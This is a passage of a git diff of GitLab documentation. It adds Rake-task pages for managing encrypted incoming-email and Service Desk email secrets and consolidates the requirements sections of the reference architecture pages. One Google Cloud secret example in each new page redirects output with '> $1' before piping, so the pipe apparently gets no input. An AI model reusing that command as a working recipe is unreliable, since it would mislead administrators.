Systems +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# Incoming email Rake tasks **(FREE SELF)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/108279) in GitLab 15.9. + +The following are Incoming email-related Rake tasks. + +## Secrets + +GitLab can use [Incoming email](../incoming_email.md) secrets read from an encrypted file instead of storing them in plaintext in the file system. The following Rake tasks are provided for updating the contents of the encrypted file. + +### Show secret + +Show the contents of the current Incoming email secrets. + +::Tabs + +:::TabTitle Linux package (Omnibus) + +```shell +sudo gitlab-rake gitlab:incoming_email:secret:show +``` + +:::TabTitle Helm chart (Kubernetes) + +Use a Kubernetes secret to store the incoming email password. For more information, +read about [Helm IMAP secrets](https://docs.gitlab.com/charts/installation/secrets.html#imap-password-for-incoming-emails). + +:::TabTitle Docker + +```shell +sudo docker exec -t <container name> gitlab:incoming_email:secret:show +``` + +:::TabTitle Self-compiled (source) + +```shell +bundle exec rake gitlab:incoming_email:secret:show RAILS_ENV=production +``` + +::EndTabs + +#### Example output + +```plaintext +password: 'examplepassword' +user: 'incoming-email@mail.example.com' +``` + +### Edit secret + +Opens the secret contents in your editor, and writes the resulting content to the encrypted secret file when you exit. + +::Tabs + +:::TabTitle Linux package (Omnibus) + +```shell +sudo gitlab-rake gitlab:incoming_email:secret:edit EDITOR=vim +``` + +:::TabTitle Helm chart (Kubernetes) + +Use a Kubernetes secret to store the incoming email password. For more information, +read about [Helm IMAP secrets](https://docs.gitlab.com/charts/installation/secrets.html#imap-password-for-incoming-emails). + +:::TabTitle Docker + +```shell +sudo docker exec -t <container name> gitlab:incoming_email:secret:edit EDITOR=editor +``` + +:::TabTitle Self-compiled (source) + +```shell +bundle exec rake gitlab:incoming_email:secret:edit RAILS_ENV=production EDITOR=vim +``` + +::EndTabs + +### Write raw secret + +Write new secret content by providing it on `STDIN`. + +::Tabs + +:::TabTitle Linux package (Omnibus) + +```shell +echo -e "password: 'examplepassword'" | sudo gitlab-rake gitlab:incoming_email:secret:write +``` + +:::TabTitle Helm chart (Kubernetes) + +Use a Kubernetes secret to store the incoming email password. For more information, +read about [Helm IMAP secrets](https://docs.gitlab.com/charts/installation/secrets.html#imap-password-for-incoming-emails). + +:::TabTitle Docker + +```shell +sudo docker exec -t <container name> /bin/bash +echo -e "password: 'examplepassword'" | gitlab-rake gitlab:incoming_email:secret:write +``` + +:::TabTitle Self-compiled (source) + +```shell +echo -e "password: 'examplepassword'" | bundle exec rake gitlab:incoming_email:secret:write RAILS_ENV=production +``` + +::EndTabs + +### Secrets examples + +**Editor example** + +The write task can be used in cases where the edit command does not work with your editor: + +```shell +# Write the existing secret to a plaintext file +sudo gitlab-rake gitlab:incoming_email:secret:show > incoming_email.yaml +# Edit the incoming_email file in your editor +... +# Re-encrypt the file +cat incoming_email.yaml | sudo gitlab-rake gitlab:incoming_email:secret:write +# Remove the plaintext file +rm incoming_email.yaml +``` + +**KMS integration example** + +It can also be used as a receiving application for content encrypted with a KMS: + +```shell +gcloud kms decrypt --key my-key --keyring my-test-kms --plaintext-file=- --ciphertext-file=my-file --location=us-west1 | sudo gitlab-rake gitlab:incoming_email:secret:write +``` + +**Google Cloud secret integration example** + +It can also be used as a receiving application for secrets out of Google Cloud: + +```shell +gcloud secrets versions access latest --secret="my-test-secret" > $1 | sudo gitlab-rake gitlab:incoming_email:secret:write +``` diff --git a/doc/administration/raketasks/maintenance.md b/doc/administration/raketasks/maintenance.md index ba095b33bf5..5c258d73fdb 100644 --- a/doc/administration/raketasks/maintenance.md +++ b/doc/administration/raketasks/maintenance.md @@ -234,8 +234,11 @@ sudo -u git -H bundle exec rake cache:clear RAILS_ENV=production Sometimes during version upgrades you might end up with some wrong CSS or missing some icons. In that case, try to precompile the assets again. -This only applies to source installations and does not apply to -Omnibus packages. +This Rake task only applies to source installations. [Read more](../../update/package/index.md#missing-asset-files) +about troubleshooting this problem when running the Omnibus GitLab package. +The guidance for Omnibus GitLab might be applicable for Kubernetes and Docker Omnibus +deployments of GitLab, though in general, container-based installations +don't have issues with missing assets. **Source Installation** @@ -374,7 +377,7 @@ The following index types are not supported: Optionally, this Rake task sends annotations to a Grafana (4.6 or later) endpoint. Use the following custom environment variables to enable annotations: -1. `GRAFANA_API_URL` - Grafana's base URL, for example `http://some-host:3000`. +1. `GRAFANA_API_URL` - The base URL for Grafana, for example `http://some-host:3000`. 1. `GRAFANA_API_KEY` - Grafana API key with at least `Editor role`. You can also [enable reindexing as a regular cron job](https://docs.gitlab.com/omnibus/settings/database.html#automatic-database-reindexing). diff --git a/doc/administration/raketasks/project_import_export.md b/doc/administration/raketasks/project_import_export.md index e43fbac25e9..4694af18af2 100644 --- a/doc/administration/raketasks/project_import_export.md +++ b/doc/administration/raketasks/project_import_export.md @@ -42,7 +42,7 @@ bundle exec rake gitlab:import_export:data RAILS_ENV=production Note the following: - Importing is only possible if the version of the import and export GitLab instances are - compatible as described in the [Version history](../../user/project/settings/import_export.md#version-history). + [compatible](../../user/project/settings/import_export.md#compatibility). - The project import option must be enabled: 1. On the top bar, select **Main menu > Admin**. diff --git a/doc/administration/raketasks/service_desk_email.md b/doc/administration/raketasks/service_desk_email.md new file mode 100644 index 00000000000..10de379b1cd --- /dev/null +++ b/doc/administration/raketasks/service_desk_email.md @@ -0,0 +1,149 @@ +--- +stage: Systems +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# Service Desk email Rake tasks **(FREE SELF)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/108279) in GitLab 15.9. + +The following are Service Desk email-related Rake tasks. + +## Secrets + +GitLab can use [Service Desk email](../../user/project/service_desk.md#configuring-a-custom-mailbox) secrets read from an encrypted file instead of storing them in plaintext in the file system. The following Rake tasks are provided for updating the contents of the encrypted file. + +### Show secret + +Show the contents of the current Service Desk email secrets. + +::Tabs + +:::TabTitle Linux package (Omnibus) + +```shell +sudo gitlab-rake gitlab:service_desk_email:secret:show +``` + +:::TabTitle Helm chart (Kubernetes) + +Use a Kubernetes secret to store the Service Desk email password. For more information, +read about [Helm IMAP secrets](https://docs.gitlab.com/charts/installation/secrets.html#imap-password-for-service-desk-emails). + +:::TabTitle Docker + +```shell +sudo docker exec -t <container name> gitlab:service_desk_email:secret:show +``` + +:::TabTitle Self-compiled (source) + +```shell +bundle exec rake gitlab:service_desk_email:secret:show RAILS_ENV=production +``` + +::EndTabs + +#### Example output + +```plaintext +password: 'examplepassword' +user: 'service-desk-email@mail.example.com' +``` + +### Edit secret + +Opens the secret contents in your editor, and writes the resulting content to the encrypted secret file when you exit. + +::Tabs + +:::TabTitle Linux package (Omnibus) + +```shell +sudo gitlab-rake gitlab:service_desk_email:secret:edit EDITOR=vim +``` + +:::TabTitle Helm chart (Kubernetes) + +Use a Kubernetes secret to store the Service Desk email password. For more information, +read about [Helm IMAP secrets](https://docs.gitlab.com/charts/installation/secrets.html#imap-password-for-service-desk-emails). + +:::TabTitle Docker + +```shell +sudo docker exec -t <container name> gitlab:service_desk_email:secret:edit EDITOR=editor +``` + +:::TabTitle Self-compiled (source) + +```shell +bundle exec rake gitlab:service_desk_email:secret:edit RAILS_ENV=production EDITOR=vim +``` + +::EndTabs + +### Write raw secret + +Write new secret content by providing it on `STDIN`. + +::Tabs + +:::TabTitle Linux package (Omnibus) + +```shell +echo -e "password: 'examplepassword'" | sudo gitlab-rake gitlab:service_desk_email:secret:write +``` + +:::TabTitle Helm chart (Kubernetes) + +Use a Kubernetes secret to store the Service Desk email password. For more information, +read about [Helm IMAP secrets](https://docs.gitlab.com/charts/installation/secrets.html#imap-password-for-service-desk-emails). + +:::TabTitle Docker + +```shell +sudo docker exec -t <container name> /bin/bash +echo -e "password: 'examplepassword'" | gitlab-rake gitlab:service_desk_email:secret:write +``` + +:::TabTitle Self-compiled (source) + +```shell +echo -e "password: 'examplepassword'" | bundle exec rake gitlab:service_desk_email:secret:write RAILS_ENV=production +``` + +::EndTabs + +### Secrets examples + +**Editor example** + +The write task can be used in cases where the edit command does not work with your editor: + +```shell +# Write the existing secret to a plaintext file +sudo gitlab-rake gitlab:service_desk_email:secret:show > service_desk_email.yaml +# Edit the service_desk_email file in your editor +... +# Re-encrypt the file +cat service_desk_email.yaml | sudo gitlab-rake gitlab:service_desk_email:secret:write +# Remove the plaintext file +rm service_desk_email.yaml +``` + +**KMS integration example** + +It can also be used as a receiving application for content encrypted with a KMS: + +```shell +gcloud kms decrypt --key my-key --keyring my-test-kms --plaintext-file=- --ciphertext-file=my-file --location=us-west1 | sudo gitlab-rake gitlab:service_desk_email:secret:write +``` + +**Google Cloud secret integration example** + +It can also be used as a receiving application for secrets out of Google Cloud: + +```shell +gcloud secrets versions access latest --secret="my-test-secret" > $1 | sudo gitlab-rake gitlab:service_desk_email:secret:write +``` diff --git a/doc/administration/reference_architectures/10k_users.md b/doc/administration/reference_architectures/10k_users.md index bb50f66aff0..529621813aa 100644 --- a/doc/administration/reference_architectures/10k_users.md +++ b/doc/administration/reference_architectures/10k_users.md @@ -50,7 +50,9 @@ full list of reference architectures, see - [Google Cloud Load Balancing](https://cloud.google.com/load-balancing) and [Amazon Elastic Load Balancing](https://aws.amazon.com/elasticloadbalancing/) are known to work. 4. Should be run on reputable Cloud Provider or Self Managed solutions. More information can be found in the [Configure the object storage](#configure-the-object-storage) section. 5. Gitaly Cluster provides the benefits of fault tolerance, but comes with additional complexity of setup and management. Review the existing [technical limitations and considerations before deploying Gitaly Cluster](../gitaly/index.md#before-deploying-gitaly-cluster). If you want sharded Gitaly, use the same specs listed above for `Gitaly`. -6. Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large repositories or monorepos that don't follow these practices can significantly impact Gitaly requirements. Refer to the [Large Repositories](#large-repositories) for more info. +6. Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large + repositories or monorepos that don't follow these practices can significantly impact Gitaly requirements. Refer to + [Large repositories](index.md#large-repositories) for more information. <!-- markdownlint-enable MD029 --> NOTE: @@ -144,66 +146,7 @@ monitor .[#7FFFD4,norank]u--> elb ## Requirements -Before starting, you should take note of the following requirements / guidance for this reference architecture. - -### Supported CPUs - -This reference architecture was built and tested on Google Cloud Platform (GCP) using the -[Intel Xeon E5 v3 (Haswell)](https://cloud.google.com/compute/docs/cpu-platforms) -CPU platform as a baseline ([Sysbench benchmark](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Reference-Architectures/GCP-CPU-Benchmarks)). - -Newer, similarly sized CPUs are supported and may have improved performance as a result. For Omnibus environments, ARM-based equivalents are also supported. - -NOTE: -Any "burstable" instance types are not recommended due to inconsistent performance. - -### Supported infrastructure - -As a general guidance, GitLab should run on most infrastructure such as reputable Cloud Providers (AWS, GCP) and their services, -or self managed (ESXi) that meet both the specs detailed above, as well as any requirements in this section. -However, this does not constitute a guarantee for every potential permutation. - -See [Recommended cloud providers and services](index.md#recommended-cloud-providers-and-services) for more information. - -### Additional workloads - -The Reference Architectures have been [designed and tested](index.md#validation-and-test-results) for standard GitLab setups with -good headroom in mind to cover most scenarios. However, if any additional workloads are being added on the nodes, -such as security software, you may still need to adjust the specs accordingly to compensate. - -This also applies for some GitLab features where it's possible to run custom scripts, for example [server hooks](../server_hooks.md). - -As a general rule, it's recommended to have robust monitoring in place to measure the impact of -any additional workloads to inform any changes needed to be made. - -### Large repositories - -The Reference Architectures were tested with repositories of varying sizes that follow best practices. - -However, large repositories or monorepos (several gigabytes or more) can **significantly** impact the performance -of Git and in turn the environment itself if best practices aren't being followed such as not storing -binary or blob files in LFS. Repositories are at the core of any environment the consequences can be wide-ranging -when they are not optimized. Some examples of this impact include [Git packing operations](https://git-scm.com/book/en/v2/Git-Internals-Packfiles) -taking longer and consuming high CPU / Memory resources or Git checkouts taking longer that affect both users and -CI pipelines alike. - -As such, large repositories come with notable cost and typically will require more resources to handle, -significantly so in some cases. It's therefore **strongly** recommended then to review large repositories -to ensure they maintain good health and reduce their size wherever possible. - -NOTE: -If best practices aren't followed and large repositories are present on the environment, -increased Gitaly specs may be required to ensure stable performance. - -Refer to the [Managing large repositories documentation](../../user/project/repository/managing_large_repositories.md) -for more information and guidance. - -### Praefect PostgreSQL - -It's worth noting that at this time [Praefect requires its own database server](../gitaly/praefect.md#postgresql) and -that to achieve full High Availability a third-party PostgreSQL database solution will be required. -We hope to offer a built in solutions for these restrictions in the future but in the meantime a non HA PostgreSQL server -can be set up via Omnibus GitLab, which the above specs reflect. Refer to the following issues for more information: [`omnibus-gitlab#5919`](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5919) & [`gitaly#3398`](https://gitlab.com/gitlab-org/gitaly/-/issues/3398). +Before starting, see the [requirements](index.md#requirements) for reference architectures. ## Setup components @@ -710,7 +653,7 @@ in the second step, do not supply the `EXTERNAL_URL` value. PostgreSQL, with Patroni managing its failover, will default to use `pg_rewind` by default to handle conflicts. Like most failover handling methods, this has a small chance of leading to data loss. -Learn more about the various [Patroni replication methods](../postgresql/replication_and_failover.md#selecting-the-appropriate-patroni-replication-method). +For more information, see the various [Patroni replication methods](../postgresql/replication_and_failover.md#selecting-the-appropriate-patroni-replication-method). 1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. @@ -1209,18 +1152,25 @@ are supported and can be added if needed. ## Configure Gitaly Cluster -[Gitaly Cluster](../gitaly/praefect.md) is a GitLab provided and recommended fault tolerant solution for storing Git repositories. -In this configuration, every Git repository is stored on every Gitaly node in the cluster, with one being designated the primary, and failover occurs automatically if the primary node goes down. +[Gitaly Cluster](../gitaly/praefect.md) is a GitLab-provided and recommended fault tolerant solution for storing Git +repositories. In this configuration, every Git repository is stored on every Gitaly node in the cluster, with one being +designated the primary, and failover occurs automatically if the primary node goes down. -NOTE: -Gitaly Cluster provides the benefits of fault tolerance, but comes with additional complexity of setup and management. Review the existing [technical limitations and considerations before deploying Gitaly Cluster](../gitaly/index.md#before-deploying-gitaly-cluster). -For implementations with sharded Gitaly, use the same Gitaly specs. Follow the [separate Gitaly documentation](../gitaly/configure_gitaly.md) instead of this section. +Gitaly Cluster provides the benefits of fault tolerance, but comes with additional complexity of setup and management. +Review the existing [technical limitations and considerations before deploying Gitaly Cluster](../gitaly/index.md#before-deploying-gitaly-cluster). + +For guidance on: + +- Implementing sharded Gitaly instead, follow the [separate Gitaly documentation](../gitaly/configure_gitaly.md) + instead of this section. Use the same Gitaly specs. +- Migrating existing repositories that aren't managed by Gitaly Cluster, see + [migrate to Gitaly Cluster](../gitaly/index.md#migrate-to-gitaly-cluster). NOTE: Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large repositories or monorepos not following these practices can significantly impact Gitaly performance and requirements. -Refer to the [Large Repositories](#large-repositories) for more info. +Refer to [Large repositories](index.md#large-repositories) for more information. The recommended cluster setup includes the following components: @@ -1229,9 +1179,9 @@ The recommended cluster setup includes the following components: - 1 Praefect PostgreSQL node: Database server for Praefect. A third-party solution is required for Praefect database connections to be made highly available. - 1 load balancer: A load balancer is required for Praefect. The - [internal load balancer](#configure-the-internal-load-balancer) will be used. + [internal load balancer](#configure-the-internal-load-balancer) is used. -This section will detail how to configure the recommended standard setup in order. +This section details how to configure the recommended standard setup in order. For more advanced setups refer to the [standalone Gitaly Cluster documentation](../gitaly/praefect.md). ### Configure Praefect PostgreSQL @@ -1530,14 +1480,14 @@ requirements that are dependent on data and load. NOTE: Increased specs for Gitaly nodes may be required in some circumstances such as -significantly large repositories or if any [additional workloads](#additional-workloads), +significantly large repositories or if any [additional workloads](index.md#additional-workloads), such as [server hooks](../server_hooks.md), have been added. NOTE: Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large repositories or monorepos not following these practices can significantly impact Gitaly performance and requirements. -Refer to the [Large Repositories](#large-repositories) for more info. +Refer to [large repositories](index.md#large-repositories) for more information. Due to Gitaly having notable input and output requirements, we strongly recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs @@ -1756,7 +1706,10 @@ To configure Praefect with TLS: Sidekiq requires connection to the [Redis](#configure-redis), [PostgreSQL](#configure-postgresql) and [Gitaly](#configure-gitaly) instances. -Because you must use [Object storage](#configure-the-object-storage) instead of NFS for data objects, the following +It also requires a connection to [Object Storage](#configure-the-object-storage) as recommended. + +NOTE: +[Because it's recommended to use Object storage](../object_storage.md) instead of NFS for data objects, the following examples include the Object storage configuration. - `10.6.0.101`: Sidekiq 1 @@ -1925,7 +1878,13 @@ run [multiple Sidekiq processes](../sidekiq/extra_sidekiq_processes.md). ## Configure GitLab Rails This section describes how to configure the GitLab application (Rails) component. -Because you must use [Object storage](#configure-the-object-storage) instead of NFS for data objects, the following + +Rails requires connections to the [Redis](#configure-redis), +[PostgreSQL](#configure-postgresql) and [Gitaly](#configure-gitaly) instances. +It also requires a connection to [Object Storage](#configure-the-object-storage) as recommended. + +NOTE: +[Because it's recommended to use Object storage](../object_storage.md) instead of NFS for data objects, the following examples include the Object storage configuration. The following IPs will be used as an example: @@ -2065,6 +2024,10 @@ On each node perform the following: 1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. +1. Copy the SSH host keys (all in the name format `/etc/ssh/ssh_host_*_key*`) from the first Omnibus node you configured and + add or replace the files of the same name on this server. This ensures host mismatch errors aren't thrown + for your users as they hit the load balanced Rails nodes. If this is the first Omnibus node you are configuring, + then you can skip this step. 1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run: ```shell @@ -2200,16 +2163,10 @@ To configure the Monitoring node: ## Configure the object storage -GitLab supports using an object storage service for holding numerous types of data. - -GitLab has been tested on a number of object storage providers: - -- [Amazon S3](https://aws.amazon.com/s3/) -- [Google Cloud Storage](https://cloud.google.com/storage) -- [Digital Ocean Spaces](https://www.digitalocean.com/products/spaces) -- [Oracle Cloud Infrastructure](https://docs.oracle.com/en-us/iaas/Content/Object/Tasks/s3compatibleapi.htm) -- [OpenStack Swift (S3 compatibility mode)](https://docs.openstack.org/swift/latest/s3_compat.html) -- MinIO. We have [a guide to deploying this](https://docs.gitlab.com/charts/advanced/external-object-storage/minio.html) within our Helm Chart documentation. +GitLab supports using an [object storage](../object_storage.md) service for holding numerous types of data. +It's recommended over [NFS](../nfs.md) for data objects and in general it's better +in larger setups as object storage is typically much more performant, reliable, +and scalable. There are two ways of specifying object storage configuration in GitLab: @@ -2336,7 +2293,9 @@ services where applicable): - [Google Cloud Load Balancing](https://cloud.google.com/load-balancing) and [Amazon Elastic Load Balancing](https://aws.amazon.com/elasticloadbalancing/) are known to work. 4. Should be run on reputable Cloud Provider or Self Managed solutions. More information can be found in the [Configure the object storage](#configure-the-object-storage) section. 5. Gitaly Cluster provides the benefits of fault tolerance, but comes with additional complexity of setup and management. Review the existing [technical limitations and considerations before deploying Gitaly Cluster](../gitaly/index.md#before-deploying-gitaly-cluster). If you want sharded Gitaly, use the same specs listed above for `Gitaly`. -6. Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large repositories or monorepos that don't follow these practices can significantly impact Gitaly requirements. Refer to the [Large Repositories](#large-repositories) for more info. +6. Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large + repositories or monorepos that don't follow these practices can significantly impact Gitaly requirements. Refer to + [Large repositories](index.md#large-repositories) for more information. <!-- markdownlint-enable MD029 --> NOTE: diff --git a/doc/administration/reference_architectures/1k_users.md b/doc/administration/reference_architectures/1k_users.md index 2a9636b6e05..d3aa6fef51e 100644 --- a/doc/administration/reference_architectures/1k_users.md +++ b/doc/administration/reference_architectures/1k_users.md @@ -10,9 +10,9 @@ This page describes GitLab reference architecture for up to 1,000 users. For a full list of reference architectures, see [Available reference architectures](index.md#available-reference-architectures). -If you are serving up to 1,000 users and you don't have strict availability -requirements, a single-node solution with -[frequent backups](index.md#backups) is appropriate for +If you are serving up to 1,000 users, and you don't have strict availability +requirements, a [standalone](index.md#standalone-non-ha) single-node solution with +frequent backups is appropriate for many organizations. > - **Supported users (approximate):** 1,000 @@ -67,47 +67,7 @@ The diagram above shows that while GitLab can be installed on a single server, i ## Requirements -Before starting, you should take note of the following requirements / guidance for this reference architecture. - -### Supported CPUs - -This reference architecture was built and tested on Google Cloud Platform (GCP) using the -[Intel Xeon E5 v3 (Haswell)](https://cloud.google.com/compute/docs/cpu-platforms) -CPU platform as a baseline ([Sysbench benchmark](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Reference-Architectures/GCP-CPU-Benchmarks)). - -Newer, similarly sized CPUs are supported and may have improved performance as a result. For Omnibus environments, ARM-based equivalents are also supported. - -NOTE: -Any "burstable" instance types are not recommended due to inconsistent performance. - -### Supported infrastructure - -As a general guidance, GitLab should run on most infrastructure such as reputable Cloud Providers (AWS, GCP) and their services, -or self managed (ESXi) that meet both the specs detailed above, as well as any requirements in this section. -However, this does not constitute a guarantee for every potential permutation. - -See [Recommended cloud providers and services](index.md#recommended-cloud-providers-and-services) for more information. - -### Additional workloads - -The Reference Architectures have been [designed and tested](index.md#validation-and-test-results) for standard GitLab setups with -good headroom in mind to cover most scenarios. However, if any additional workloads are being added on the nodes, -such as security software, you may still need to adjust the specs accordingly to compensate. - -This also applies for some GitLab features where it's possible to run custom scripts, for example [server hooks](../server_hooks.md). - -As a general rule, it's recommended to have robust monitoring in place to measure the impact of -any additional workloads to inform any changes needed to be made. - -### Swap - -In addition to the stated configurations, we recommend having at least 2 GB of -swap on your server, even if you currently have enough available memory. Having -swap helps to reduce the chance of errors occurring if your available memory -changes. We also recommend configuring the kernel's swappiness setting to a -lower value (such as `10`) to make the most of your memory, while still having -the swap available when needed. View the -[Memory requirements](../../install/requirements.md#memory) for details. +Before starting, see the [requirements](index.md#requirements) for reference architectures. ## Setup instructions diff --git a/doc/administration/reference_architectures/25k_users.md b/doc/administration/reference_architectures/25k_users.md index 02739904f5e..71fe8b301e2 100644 --- a/doc/administration/reference_architectures/25k_users.md +++ b/doc/administration/reference_architectures/25k_users.md @@ -50,7 +50,9 @@ full list of reference architectures, see - [Google Cloud Load Balancing](https://cloud.google.com/load-balancing) and [Amazon Elastic Load Balancing](https://aws.amazon.com/elasticloadbalancing/) are known to work. 4. Should be run on reputable Cloud Provider or Self Managed solutions. More information can be found in the [Configure the object storage](#configure-the-object-storage) section. 5. Gitaly Cluster provides the benefits of fault tolerance, but comes with additional complexity of setup and management. Review the existing [technical limitations and considerations before deploying Gitaly Cluster](../gitaly/index.md#before-deploying-gitaly-cluster). If you want sharded Gitaly, use the same specs listed above for `Gitaly`. -6. Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large repositories or monorepos that don't follow these practices can significantly impact Gitaly requirements. Refer to the [Large Repositories](#large-repositories) for more info. +6. Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large + repositories or monorepos that don't follow these practices can significantly impact Gitaly requirements. Refer to + [Large repositories](index.md#large-repositories) for more information. <!-- markdownlint-enable MD029 --> NOTE: @@ -144,66 +146,7 @@ monitor .[#7FFFD4,norank]u--> elb ## Requirements -Before starting, you should take note of the following requirements / guidance for this reference architecture. - -### Supported CPUs - -This reference architecture was built and tested on Google Cloud Platform (GCP) using the -[Intel Xeon E5 v3 (Haswell)](https://cloud.google.com/compute/docs/cpu-platforms) -CPU platform as a baseline ([Sysbench benchmark](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Reference-Architectures/GCP-CPU-Benchmarks)). - -Newer, similarly sized CPUs are supported and may have improved performance as a result. For Omnibus environments, ARM-based equivalents are also supported. - -NOTE: -Any "burstable" instance types are not recommended due to inconsistent performance. - -### Supported infrastructure - -As a general guidance, GitLab should run on most infrastructure such as reputable Cloud Providers (AWS, GCP, Azure) and their services, -or self managed (ESXi) that meet both the specs detailed above, as well as any requirements in this section. -However, this does not constitute a guarantee for every potential permutation. - -See [Recommended cloud providers and services](index.md#recommended-cloud-providers-and-services) for more information. - -### Additional workloads - -The Reference Architectures have been [designed and tested](index.md#validation-and-test-results) for standard GitLab setups with -good headroom in mind to cover most scenarios. However, if any additional workloads are being added on the nodes, -such as security software, you may still need to adjust the specs accordingly to compensate. - -This also applies for some GitLab features where it's possible to run custom scripts, for example [server hooks](../server_hooks.md). - -As a general rule, it's recommended to have robust monitoring in place to measure the impact of -any additional workloads to inform any changes needed to be made. - -### Large repositories - -The Reference Architectures were tested with repositories of varying sizes that follow best practices. - -However, large repositories or monorepos (several gigabytes or more) can **significantly** impact the performance -of Git and in turn the environment itself if best practices aren't being followed such as not storing -binary or blob files in LFS. Repositories are at the core of any environment the consequences can be wide-ranging -when they are not optimized. Some examples of this impact include [Git packing operations](https://git-scm.com/book/en/v2/Git-Internals-Packfiles) -taking longer and consuming high CPU / Memory resources or Git checkouts taking longer that affect both users and -CI pipelines alike. - -As such, large repositories come with notable cost and typically will require more resources to handle, -significantly so in some cases. It's therefore **strongly** recommended then to review large repositories -to ensure they maintain good health and reduce their size wherever possible. - -NOTE: -If best practices aren't followed and large repositories are present on the environment, -increased Gitaly specs may be required to ensure stable performance. - -Refer to the [Managing large repositories documentation](../../user/project/repository/managing_large_repositories.md) -for more information and guidance. - -### Praefect PostgreSQL - -It's worth noting that at this time [Praefect requires its own database server](../gitaly/praefect.md#postgresql) and -that to achieve full High Availability a third-party PostgreSQL database solution will be required. -We hope to offer a built in solutions for these restrictions in the future but in the meantime a non HA PostgreSQL server -can be set up via Omnibus GitLab, which the above specs reflect. Refer to the following issues for more information: [`omnibus-gitlab#5919`](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5919) & [`gitaly#3398`](https://gitlab.com/gitlab-org/gitaly/-/issues/3398). +Before starting, see the [requirements](index.md#requirements) for reference architectures. ## Setup components @@ -727,7 +670,7 @@ in the second step, do not supply the `EXTERNAL_URL` value. PostgreSQL, with Patroni managing its failover, will default to use `pg_rewind` by default to handle conflicts. Like most failover handling methods, this has a small chance of leading to data loss. -Learn more about the various [Patroni replication methods](../postgresql/replication_and_failover.md#selecting-the-appropriate-patroni-replication-method). +For more information, see the various [Patroni replication methods](../postgresql/replication_and_failover.md#selecting-the-appropriate-patroni-replication-method). 1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. @@ -1228,19 +1171,25 @@ are supported and can be added if needed. ## Configure Gitaly Cluster -[Gitaly Cluster](../gitaly/praefect.md) is a GitLab-provided and recommended -fault tolerant solution for storing Git repositories. -In this configuration, every Git repository is stored on every Gitaly node in the cluster, with one being designated the primary, and failover occurs automatically if the primary node goes down. +[Gitaly Cluster](../gitaly/praefect.md) is a GitLab-provided and recommended fault tolerant solution for storing Git +repositories. In this configuration, every Git repository is stored on every Gitaly node in the cluster, with one being +designated the primary, and failover occurs automatically if the primary node goes down. -NOTE: -Gitaly Cluster provides the benefits of fault tolerance, but comes with additional complexity of setup and management. Review the existing [technical limitations and considerations before deploying Gitaly Cluster](../gitaly/index.md#before-deploying-gitaly-cluster). -For implementations with sharded Gitaly, use the same Gitaly specs. Follow the [separate Gitaly documentation](../gitaly/configure_gitaly.md) instead of this section. +Gitaly Cluster provides the benefits of fault tolerance, but comes with additional complexity of setup and management. +Review the existing [technical limitations and considerations before deploying Gitaly Cluster](../gitaly/index.md#before-deploying-gitaly-cluster). + +For guidance on: + +- Implementing sharded Gitaly instead, follow the [separate Gitaly documentation](../gitaly/configure_gitaly.md) + instead of this section. Use the same Gitaly specs. +- Migrating existing repositories that aren't managed by Gitaly Cluster, see + [migrate to Gitaly Cluster](../gitaly/index.md#migrate-to-gitaly-cluster). NOTE: Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large repositories or monorepos not following these practices can significantly impact Gitaly performance and requirements. -Refer to the [Large Repositories](#large-repositories) for more info. +Refer to [Large repositories](index.md#large-repositories) for more information. The recommended cluster setup includes the following components: @@ -1249,9 +1198,9 @@ The recommended cluster setup includes the following components: - 1 Praefect PostgreSQL node: Database server for Praefect. A third-party solution is required for Praefect database connections to be made highly available. - 1 load balancer: A load balancer is required for Praefect. The - [internal load balancer](#configure-the-internal-load-balancer) will be used. + [internal load balancer](#configure-the-internal-load-balancer) is used. -This section will detail how to configure the recommended standard setup in order. +This section details how to configure the recommended standard setup in order. For more advanced setups refer to the [standalone Gitaly Cluster documentation](../gitaly/praefect.md). ### Configure Praefect PostgreSQL @@ -1548,14 +1497,14 @@ requirements that are dependent on data and load. NOTE: Increased specs for Gitaly nodes may be required in some circumstances such as -significantly large repositories or if any [additional workloads](#additional-workloads), +significantly large repositories or if any [additional workloads](index.md#additional-workloads), such as [server hooks](../server_hooks.md), have been added. NOTE: Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large repositories or monorepos not following these practices can significantly impact Gitaly performance and requirements. -Refer to the [Large Repositories](#large-repositories) for more info. +Refer to [Large repositories](index.md#large-repositories) for more information. Due to Gitaly having notable input and output requirements, we strongly recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs @@ -1774,7 +1723,10 @@ To configure Praefect with TLS: Sidekiq requires connection to the [Redis](#configure-redis), [PostgreSQL](#configure-postgresql) and [Gitaly](#configure-gitaly) instances. -Because you must use [Object storage](#configure-the-object-storage) instead of NFS for data objects, the following +It also requires a connection to [Object Storage](#configure-the-object-storage) as recommended. + +NOTE: +[Because it's recommended to use Object storage](../object_storage.md) instead of NFS for data objects, the following examples include the Object storage configuration. - `10.6.0.101`: Sidekiq 1 @@ -1943,7 +1895,13 @@ run [multiple Sidekiq 